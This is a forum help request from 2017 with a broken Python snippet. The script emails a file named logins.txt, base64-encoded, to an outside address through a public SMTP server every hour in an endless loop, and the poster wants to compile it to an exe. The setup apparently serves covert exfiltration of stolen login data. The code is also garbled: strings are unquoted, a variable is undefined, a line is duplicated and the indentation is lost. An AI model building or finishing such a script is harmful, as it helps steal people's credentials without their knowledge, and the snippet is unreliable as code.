May 6, 2017 05:17 AM
(This post was last modified: May 6, 2017 05:17 AM by ASlopaR.)
Hi, I want send data in email attachment (.txt file) every hour remote.. And if I compiles to exe (with py2exe) get error on line
Actually code to send email:
Code
while True:Actually code to send email:
Code
def mail(serverURL=smtp.seznam.cz, sender='', to='', subject='', text=''):
"""
Usage:
"""
mail('smtp.seznam.cz', '[email protected]', '[email protected]', 'OMGWTF', 'Hello Marty! :) I have gift for you in attachment.')
message = StringIO.StringIO()
writer = MimeWriter.MimeWriter(message)
writer.addheader('Subject', subject)
writer.startmultipartbody('mixed')
# start off with a text/plain part
part = writer.nextpart()
body = part.startbody('text/plain')
body.write(text)
# now add an attachment
part = writer.nextpart()
part.addheader('Content-Transfer-Encoding', 'base64')
body = part.startbody('text/plain')
base64.encode(open(logins.txt, 'rb'), body)
# finish off
writer.lastpart()
# send the mail
smtp = smtplib.SMTP(s)
smtp.sendmail(sender, to, message.getvalue())
smtp.quit()
if __name__ == '__main__':
while True:
mail()
time.sleep(3600)
